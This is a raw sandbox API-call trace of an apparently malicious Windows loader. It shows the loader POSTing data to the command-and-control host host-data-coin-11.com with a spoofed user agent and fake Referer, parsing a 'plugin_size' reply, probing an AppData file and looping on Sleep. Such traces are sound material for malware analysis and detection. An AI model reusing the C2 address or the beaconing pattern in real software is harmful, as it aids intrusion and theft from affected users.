RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x710af76 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6b23ac86 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf56558ea [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa73ed611 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x35250ac8 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb04310b2 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b9344d5 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x508f976c [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3693844b [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf531e9c [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x72405af8 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3f96c85a [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x621d42fc [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x99c04da5 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x65a4a267 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd3aa225f [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85f69f15 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc4924d19 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x69bb649b [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x958379ce [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xee2ae6fa [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x62f028ad [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd51e23f1 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36e38530 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbeeb58cb [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8be44137 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc12d532 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x60714bc0 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6d6e42e1 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x461b8bc7 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b5258d7 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xefe41c67 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe3d12e5d [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x952f6b84 [0267.061] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa8753a6 [0267.061] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x65bbbbc [0267.061] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3d350947 [0267.061] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x262247c [0267.061] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2753f9fa [0267.061] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbad6c10d [0267.061] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12f) returned 0x91419c0 [0267.061] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0267.061] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0267.061] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0267.061] lstrcatA (in: lpString1="", lpString2="UV(hl^F88ha/4LVNiWQm:mF%R*Q_d%ktR'H#y.bTrN#F\"@-kb#_,k^mvx=lMzb;?b)kqRgMT%7zzSL)_5NZ1dGq>W0QHQ+05z]aK'PuQ7+monviX#!TDq&)@L\\zp@r/kG11nt0V6mB\\:59]D\"[9Z>%N!bD!hp/r[9C[Ocsdd$^dP:W0QHQ+05z]aK'PuQ7+monviX#!TDq&)@L\\zp@r/kG11nt0V6mB\\:59]D\"[9Z>%N!bD!hp/r[9C[Ocsdd$^dP:W0QHQ+05z]aK'PuQ7+monviX#!TDq&)@L\\zp@r/kG11nt0V6mB\\:59]D\"[9Z>%N!bD!hp/r[9C[Ocsdd$^dP:\"Mv(0avJMYoHGvIoMOwNJ4JD!Un+3LkJ_wP^Vg:X97h^HwM&UHK!dt3aC!ogM/;mB*+4YCn\"!x(pi=U?-K,c\"Mv(0avJMYoHGvIoMOwNJ4JD!Un+3LkJ_wP^Vg:X97h^HwM&UHK!dt3aC!ogM/;mB*+4YCn\"!x(pi=U?-K,c\"Mv(0avJMYoHGvIoMOwNJ4JD!Un+3LkJ_wP^Vg:X97h^HwM&UHK!dt3aC!ogM/;mB*+4YCn\"!x(pi=U?-K,c.R3fE.la--xpTx7-*Il0fsh]HA>w_z4xh" | out: lpString1="FQl^vac>s#6f>NO%_G\"OHl8o9#NQd\\NX*n2m=DAi.k&IiUC0'+4U_Ctf8?cCE=hA,og`9lp+D3A.$CF%Y>.R3fE.la--xpTx7-*Il0fsh]HA>w_z4xh") returned="FQl^vac>s#6f>NO%_G\"OHl8o9#NQd\\NX*n2m=DAi.k&IiUC0'+4U_Ctf8?cCE=hA,og`9lp+D3A.$CF%Y>.R3fE.la--xpTx7-*Il0fsh]HA>w_z4xh" [0306.134] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9142250 [0306.134] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0306.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x91419e0, cbMultiByte=30, lpWideCharStr=0x9142250, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0306.134] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0306.143] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8659380 [0306.144] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0306.144] WinHttpConnect (hSession=0x8659380, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86a9d30 [0306.144] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141840 [0306.145] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9142370 [0306.145] WinHttpOpenRequest (hConnect=0x86a9d30, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x579d360 [0306.145] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x91423e0 [0306.145] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9142440 [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x494645ca [0306.145] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x91407e0 [0306.145] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9140800 [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x31ebb69b [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x832593b9 [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcb1a0853 [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e16668c [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7b9b0cfa [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc7538a4d [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbcde1ba4 [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7ca7d4be [0306.145] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ebd09c5 [0306.146] wsprintfW (in: param_1=0x9142440, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://upqucbid.com/") returned 42 [0306.146] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140800) returned 0x17 [0306.146] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140800) returned 1 [0306.146] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91407e0) returned 0x12 [0306.146] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91407e0) returned 1 [0306.146] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91423e0) returned 0x4e [0306.147] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91423e0) returned 1 [0306.147] WinHttpAddRequestHeaders (hRequest=0x579d360, pwszHeaders="Accept: */*\r\nReferer: http://upqucbid.com/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0306.147] WinHttpSendRequest (hRequest=0x579d360, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x9142170*, dwOptionalLength=0xc2, dwTotalLength=0xc2, dwContext=0x0) returned 1 [0306.870] WinHttpReceiveResponse (hRequest=0x579d360, lpReserved=0x0) returned 1 [0306.870] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9145db0 [0306.870] WinHttpReadData (in: hRequest=0x579d360, lpBuffer=0x9145db0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145db0*, lpdwNumberOfBytesRead=0x1004fd88*=0x18) returned 1 [0306.871] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9145db0, Size=0x5000) returned 0x9145db0 [0306.871] WinHttpReadData (in: hRequest=0x579d360, lpBuffer=0x9145dc8, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145dc8*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0306.871] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x470000 [0306.873] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9145db0) returned 1 [0306.874] WinHttpCloseHandle (hInternet=0x579d360) returned 1 [0306.874] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9142440) returned 0x10d [0306.874] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9142440) returned 1 [0306.874] WinHttpCloseHandle (hInternet=0x86a9d30) returned 1 [0306.874] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9142370) returned 0x68 [0306.875] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9142370) returned 1 [0306.875] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x12 [0306.876] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0306.876] WinHttpCloseHandle (hInternet=0x8659380) returned 1 [0306.876] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9142250) returned 0x10c [0306.876] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9142250) returned 1 [0306.876] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91420e0) returned 0x7c [0306.877] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91420e0) returned 1 [0306.877] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9142170) returned 0xcb [0306.877] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9142170) returned 1 [0306.878] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0306.878] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x15) returned 0x9141840 [0306.878] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0306.878] lstrlenA (lpString="plugin_size") returned 11 [0306.878] atoi (_Str="0") returned 0 [0306.878] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0306.878] lstrlenA (lpString="|:|") returned 3 [0306.878] MapViewOfFile (hFileMappingObject=0x1ee0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x9150000 [0306.883] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0306.883] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x9150000) returned 0x0 [0306.992] atoi (_Str="0") returned 0 [0306.992] VirtualFree (lpAddress=0x470000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0306.993] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91419e0) returned 0x26 [0306.994] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91419e0) returned 1 [0306.994] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0306.994] Sleep (dwMilliseconds=0x258) [0306.996] Sleep (dwMilliseconds=0x258) [0306.997] Sleep (dwMilliseconds=0x258) [0306.999] Sleep (dwMilliseconds=0x258) [0307.000] Sleep (dwMilliseconds=0x258) [0307.002] Sleep (dwMilliseconds=0x258) [0307.003] Sleep (dwMilliseconds=0x258) [0307.005] Sleep (dwMilliseconds=0x258) [0307.006] Sleep (dwMilliseconds=0x258) [0307.008] Sleep (dwMilliseconds=0x258) [0307.010] Sleep (dwMilliseconds=0x258) [0307.011] Sleep (dwMilliseconds=0x258) [0307.012] Sleep (dwMilliseconds=0x258) [0307.014] Sleep (dwMilliseconds=0x258) [0307.018] Sleep (dwMilliseconds=0x258) [0307.020] Sleep (dwMilliseconds=0x258) [0307.021] Sleep (dwMilliseconds=0x258) [0307.023] Sleep (dwMilliseconds=0x258) [0307.024] Sleep (dwMilliseconds=0x258) [0307.026] Sleep (dwMilliseconds=0x258) [0307.027] Sleep (dwMilliseconds=0x258) [0307.030] Sleep (dwMilliseconds=0x258) [0307.032] Sleep (dwMilliseconds=0x258) [0307.033] Sleep (dwMilliseconds=0x258) [0307.035] Sleep (dwMilliseconds=0x258) [0307.037] Sleep (dwMilliseconds=0x258) [0307.038] Sleep (dwMilliseconds=0x258) [0307.039] Sleep (dwMilliseconds=0x258) [0307.041] Sleep (dwMilliseconds=0x258) [0307.043] Sleep (dwMilliseconds=0x258) [0307.044] Sleep (dwMilliseconds=0x258) [0307.045] Sleep (dwMilliseconds=0x258) [0307.047] Sleep (dwMilliseconds=0x258) [0307.049] Sleep (dwMilliseconds=0x258) [0307.053] Sleep (dwMilliseconds=0x258) [0307.054] Sleep (dwMilliseconds=0x258) [0307.057] Sleep (dwMilliseconds=0x258) [0307.059] Sleep (dwMilliseconds=0x258) [0307.060] Sleep (dwMilliseconds=0x258) [0307.062] Sleep (dwMilliseconds=0x258) [0307.063] Sleep (dwMilliseconds=0x258) [0307.065] Sleep (dwMilliseconds=0x258) [0307.067] Sleep (dwMilliseconds=0x258) [0307.068] Sleep (dwMilliseconds=0x258) [0307.070] Sleep (dwMilliseconds=0x258) [0307.072] Sleep (dwMilliseconds=0x258) [0307.074] Sleep (dwMilliseconds=0x258) [0307.075] Sleep (dwMilliseconds=0x258) [0307.077] Sleep (dwMilliseconds=0x258) [0307.078] Sleep (dwMilliseconds=0x258) [0307.080] Sleep (dwMilliseconds=0x258) [0307.082] Sleep (dwMilliseconds=0x258) [0307.084] Sleep (dwMilliseconds=0x258) [0307.087] Sleep (dwMilliseconds=0x258) [0307.088] Sleep (dwMilliseconds=0x258) [0307.090] Sleep (dwMilliseconds=0x258) [0307.091] Sleep (dwMilliseconds=0x258) [0307.093] Sleep (dwMilliseconds=0x258) [0307.096] Sleep (dwMilliseconds=0x258) [0307.097] Sleep (dwMilliseconds=0x258) [0307.099] Sleep (dwMilliseconds=0x258) [0307.101] Sleep (dwMilliseconds=0x258) [0307.103] Sleep (dwMilliseconds=0x258) [0307.104] Sleep (dwMilliseconds=0x258) [0307.106] Sleep (dwMilliseconds=0x258) [0307.107] Sleep (dwMilliseconds=0x258) [0307.108] Sleep (dwMilliseconds=0x258) [0307.110] Sleep (dwMilliseconds=0x258) [0307.111] Sleep (dwMilliseconds=0x258) [0307.113] Sleep (dwMilliseconds=0x258) [0307.114] Sleep (dwMilliseconds=0x258) [0307.116] Sleep (dwMilliseconds=0x258) [0307.129] Sleep (dwMilliseconds=0x258) [0307.142] Sleep (dwMilliseconds=0x258) [0307.144] Sleep (dwMilliseconds=0x258) [0307.146] Sleep (dwMilliseconds=0x258) [0307.148] Sleep (dwMilliseconds=0x258) [0307.149] Sleep (dwMilliseconds=0x258) [0307.151] Sleep (dwMilliseconds=0x258) [0307.153] Sleep (dwMilliseconds=0x258) [0307.154] Sleep (dwMilliseconds=0x258) [0307.157] Sleep (dwMilliseconds=0x258) [0307.160] Sleep (dwMilliseconds=0x258) [0307.162] Sleep (dwMilliseconds=0x258) [0307.164] Sleep (dwMilliseconds=0x258) [0307.165] Sleep (dwMilliseconds=0x258) [0307.167] Sleep (dwMilliseconds=0x258) [0307.168] Sleep (dwMilliseconds=0x258) [0307.170] Sleep (dwMilliseconds=0x258) [0307.172] Sleep (dwMilliseconds=0x258) [0307.173] Sleep (dwMilliseconds=0x258) [0307.175] Sleep (dwMilliseconds=0x258) [0307.176] Sleep (dwMilliseconds=0x258) [0307.178] Sleep (dwMilliseconds=0x258) [0307.179] Sleep (dwMilliseconds=0x258) [0307.181] Sleep (dwMilliseconds=0x258) [0307.183] Sleep (dwMilliseconds=0x258) [0307.184] Sleep (dwMilliseconds=0x258) [0307.186] Sleep (dwMilliseconds=0x258) [0307.187] Sleep (dwMilliseconds=0x258) [0307.189] Sleep (dwMilliseconds=0x258) [0307.191] Sleep (dwMilliseconds=0x258) [0307.192] Sleep (dwMilliseconds=0x258) [0307.193] Sleep (dwMilliseconds=0x258) [0307.195] Sleep (dwMilliseconds=0x258) [0307.196] Sleep (dwMilliseconds=0x258) [0307.200] Sleep (dwMilliseconds=0x258) [0307.201] Sleep (dwMilliseconds=0x258) [0307.203] Sleep (dwMilliseconds=0x258) [0307.205] Sleep (dwMilliseconds=0x258) [0307.206] Sleep (dwMilliseconds=0x258) [0307.208] Sleep (dwMilliseconds=0x258) [0307.209] Sleep (dwMilliseconds=0x258) [0307.211] Sleep (dwMilliseconds=0x258) [0307.213] Sleep (dwMilliseconds=0x258) [0307.215] Sleep (dwMilliseconds=0x258) [0307.216] Sleep (dwMilliseconds=0x258) [0307.218] Sleep (dwMilliseconds=0x258) [0307.220] Sleep (dwMilliseconds=0x258) [0307.222] Sleep (dwMilliseconds=0x258) [0307.223] Sleep (dwMilliseconds=0x258) [0307.225] Sleep (dwMilliseconds=0x258) [0307.227] Sleep (dwMilliseconds=0x258) [0307.228] Sleep (dwMilliseconds=0x258) [0307.230] Sleep (dwMilliseconds=0x258) [0307.231] Sleep (dwMilliseconds=0x258) [0307.233] Sleep (dwMilliseconds=0x258) [0307.235] Sleep (dwMilliseconds=0x258) [0307.236] Sleep (dwMilliseconds=0x258) [0307.240] Sleep (dwMilliseconds=0x258) [0307.241] Sleep (dwMilliseconds=0x258) [0307.243] Sleep (dwMilliseconds=0x258) [0307.244] Sleep (dwMilliseconds=0x258) [0307.246] Sleep (dwMilliseconds=0x258) [0307.247] Sleep (dwMilliseconds=0x258) [0307.249] Sleep (dwMilliseconds=0x258) [0307.250] Sleep (dwMilliseconds=0x258) [0307.252] Sleep (dwMilliseconds=0x258) [0307.253] Sleep (dwMilliseconds=0x258) [0307.255] Sleep (dwMilliseconds=0x258) [0307.257] Sleep (dwMilliseconds=0x258) [0307.259] Sleep (dwMilliseconds=0x258) [0307.260] Sleep (dwMilliseconds=0x258) [0307.262] Sleep (dwMilliseconds=0x258) [0307.263] Sleep (dwMilliseconds=0x258) [0307.265] Sleep (dwMilliseconds=0x258) [0307.266] Sleep (dwMilliseconds=0x258) [0307.268] Sleep (dwMilliseconds=0x258) [0307.270] Sleep (dwMilliseconds=0x258) [0307.272] Sleep (dwMilliseconds=0x258) [0307.281] Sleep (dwMilliseconds=0x258) [0307.283] Sleep (dwMilliseconds=0x258) [0307.285] Sleep (dwMilliseconds=0x258) [0307.286] Sleep (dwMilliseconds=0x258) [0307.288] Sleep (dwMilliseconds=0x258) [0307.289] Sleep (dwMilliseconds=0x258) [0307.291] Sleep (dwMilliseconds=0x258) [0307.292] Sleep (dwMilliseconds=0x258) [0307.294] Sleep (dwMilliseconds=0x258) [0307.295] Sleep (dwMilliseconds=0x258) [0307.297] Sleep (dwMilliseconds=0x258) [0307.315] Sleep (dwMilliseconds=0x258) [0307.317] Sleep (dwMilliseconds=0x258) [0307.318] Sleep (dwMilliseconds=0x258) [0307.320] Sleep (dwMilliseconds=0x258) [0307.323] Sleep (dwMilliseconds=0x258) [0307.325] Sleep (dwMilliseconds=0x258) [0307.326] Sleep (dwMilliseconds=0x258) [0307.328] Sleep (dwMilliseconds=0x258) [0307.329] Sleep (dwMilliseconds=0x258) [0307.331] Sleep (dwMilliseconds=0x258) [0307.332] Sleep (dwMilliseconds=0x258) [0307.334] Sleep (dwMilliseconds=0x258) [0307.335] Sleep (dwMilliseconds=0x258) [0307.337] Sleep (dwMilliseconds=0x258) [0307.338] Sleep (dwMilliseconds=0x258) [0307.340] Sleep (dwMilliseconds=0x258) [0307.341] Sleep (dwMilliseconds=0x258) [0307.343] Sleep (dwMilliseconds=0x258) [0307.344] Sleep (dwMilliseconds=0x258) [0307.346] Sleep (dwMilliseconds=0x258) [0307.347] Sleep (dwMilliseconds=0x258) [0307.349] Sleep (dwMilliseconds=0x258) [0307.350] Sleep (dwMilliseconds=0x258) [0307.352] Sleep (dwMilliseconds=0x258) [0307.353] Sleep (dwMilliseconds=0x258) [0307.355] Sleep (dwMilliseconds=0x258) [0307.358] Sleep (dwMilliseconds=0x258) [0307.360] Sleep (dwMilliseconds=0x258) [0307.361] Sleep (dwMilliseconds=0x258) [0307.363] Sleep (dwMilliseconds=0x258) [0307.366] Sleep (dwMilliseconds=0x258) [0307.368] Sleep (dwMilliseconds=0x258) [0307.369] Sleep (dwMilliseconds=0x258) [0307.371] Sleep (dwMilliseconds=0x258) [0307.372] Sleep (dwMilliseconds=0x258) [0307.374] Sleep (dwMilliseconds=0x258) [0307.375] Sleep (dwMilliseconds=0x258) [0307.377] Sleep (dwMilliseconds=0x258) [0307.378] Sleep (dwMilliseconds=0x258) [0307.380] Sleep (dwMilliseconds=0x258) [0307.382] Sleep (dwMilliseconds=0x258) [0307.384] Sleep (dwMilliseconds=0x258) [0307.385] Sleep (dwMilliseconds=0x258) [0307.387] Sleep (dwMilliseconds=0x258) [0307.389] Sleep (dwMilliseconds=0x258) [0307.390] Sleep (dwMilliseconds=0x258) [0307.392] Sleep (dwMilliseconds=0x258) [0307.393] Sleep (dwMilliseconds=0x258) [0307.395] Sleep (dwMilliseconds=0x258) [0307.396] Sleep (dwMilliseconds=0x258) [0307.398] Sleep (dwMilliseconds=0x258) [0307.399] Sleep (dwMilliseconds=0x258) [0307.401] Sleep (dwMilliseconds=0x258) [0307.402] Sleep (dwMilliseconds=0x258) [0307.404] Sleep (dwMilliseconds=0x258) [0307.405] Sleep (dwMilliseconds=0x258) [0307.407] Sleep (dwMilliseconds=0x258) [0307.412] Sleep (dwMilliseconds=0x258) [0307.416] Sleep (dwMilliseconds=0x258) [0307.418] Sleep (dwMilliseconds=0x258) [0307.420] Sleep (dwMilliseconds=0x258) [0307.422] Sleep (dwMilliseconds=0x258) [0307.423] Sleep (dwMilliseconds=0x258) [0307.425] Sleep (dwMilliseconds=0x258) [0307.426] Sleep (dwMilliseconds=0x258) [0307.427] Sleep (dwMilliseconds=0x258) [0307.429] Sleep (dwMilliseconds=0x258) [0307.430] Sleep (dwMilliseconds=0x258) [0307.463] Sleep (dwMilliseconds=0x258) [0307.465] Sleep (dwMilliseconds=0x258) [0307.467] Sleep (dwMilliseconds=0x258) [0307.477] Sleep (dwMilliseconds=0x258) [0307.486] Sleep (dwMilliseconds=0x258) [0307.541] Sleep (dwMilliseconds=0x258) [0307.542] Sleep (dwMilliseconds=0x258) [0307.596] Sleep (dwMilliseconds=0x258) [0307.597] Sleep (dwMilliseconds=0x258) [0307.599] Sleep (dwMilliseconds=0x258) [0307.600] Sleep (dwMilliseconds=0x258) [0307.602] Sleep (dwMilliseconds=0x258) [0307.603] Sleep (dwMilliseconds=0x258) [0307.605] Sleep (dwMilliseconds=0x258) [0307.606] Sleep (dwMilliseconds=0x258) [0307.608] Sleep (dwMilliseconds=0x258) [0307.610] Sleep (dwMilliseconds=0x258) [0307.744] Sleep (dwMilliseconds=0x258) [0307.789] Sleep (dwMilliseconds=0x258) [0307.854] Sleep (dwMilliseconds=0x258) [0307.857] Sleep (dwMilliseconds=0x258) [0307.858] Sleep (dwMilliseconds=0x258) [0307.860] Sleep (dwMilliseconds=0x258) [0307.861] Sleep (dwMilliseconds=0x258) [0307.863] Sleep (dwMilliseconds=0x258) [0307.864] Sleep (dwMilliseconds=0x258) [0307.866] Sleep (dwMilliseconds=0x258) [0307.868] Sleep (dwMilliseconds=0x258) [0307.871] Sleep (dwMilliseconds=0x258) [0307.874] Sleep (dwMilliseconds=0x258) [0307.875] Sleep (dwMilliseconds=0x258) [0307.877] Sleep (dwMilliseconds=0x258) [0307.878] Sleep (dwMilliseconds=0x258) [0307.881] Sleep (dwMilliseconds=0x258) [0307.882] Sleep (dwMilliseconds=0x258) [0307.954] Sleep (dwMilliseconds=0x258) [0307.956] Sleep (dwMilliseconds=0x258) [0308.011] Sleep (dwMilliseconds=0x258) [0308.012] Sleep (dwMilliseconds=0x258) [0308.017] Sleep (dwMilliseconds=0x258) [0308.020] Sleep (dwMilliseconds=0x258) [0308.022] Sleep (dwMilliseconds=0x258) [0308.025] Sleep (dwMilliseconds=0x258) [0308.028] Sleep (dwMilliseconds=0x258) [0308.029] Sleep (dwMilliseconds=0x258) [0308.031] Sleep (dwMilliseconds=0x258) [0308.032] Sleep (dwMilliseconds=0x258) [0308.034] Sleep (dwMilliseconds=0x258) [0308.036] Sleep (dwMilliseconds=0x258) [0308.038] Sleep (dwMilliseconds=0x258) [0308.040] Sleep (dwMilliseconds=0x258) [0308.161] Sleep (dwMilliseconds=0x258) [0308.194] Sleep (dwMilliseconds=0x258) [0308.196] Sleep (dwMilliseconds=0x258) [0308.198] Sleep (dwMilliseconds=0x258) [0308.200] Sleep (dwMilliseconds=0x258) [0308.202] Sleep (dwMilliseconds=0x258) [0308.203] Sleep (dwMilliseconds=0x258) [0308.205] Sleep (dwMilliseconds=0x258) [0308.206] Sleep (dwMilliseconds=0x258) [0308.209] Sleep (dwMilliseconds=0x258) [0308.210] Sleep (dwMilliseconds=0x258) [0308.212] Sleep (dwMilliseconds=0x258) [0308.214] Sleep (dwMilliseconds=0x258) [0308.216] Sleep (dwMilliseconds=0x258) [0308.219] Sleep (dwMilliseconds=0x258) [0308.220] Sleep (dwMilliseconds=0x258) [0308.224] Sleep (dwMilliseconds=0x258) [0308.348] Sleep (dwMilliseconds=0x258) [0308.351] Sleep (dwMilliseconds=0x258) [0308.374] Sleep (dwMilliseconds=0x258) [0308.376] Sleep (dwMilliseconds=0x258) [0308.377] Sleep (dwMilliseconds=0x258) [0308.379] Sleep (dwMilliseconds=0x258) [0308.380] Sleep (dwMilliseconds=0x258) [0308.382] Sleep (dwMilliseconds=0x258) [0308.385] Sleep (dwMilliseconds=0x258) [0308.386] Sleep (dwMilliseconds=0x258) [0308.388] Sleep (dwMilliseconds=0x258) [0308.389] Sleep (dwMilliseconds=0x258) [0308.391] Sleep (dwMilliseconds=0x258) 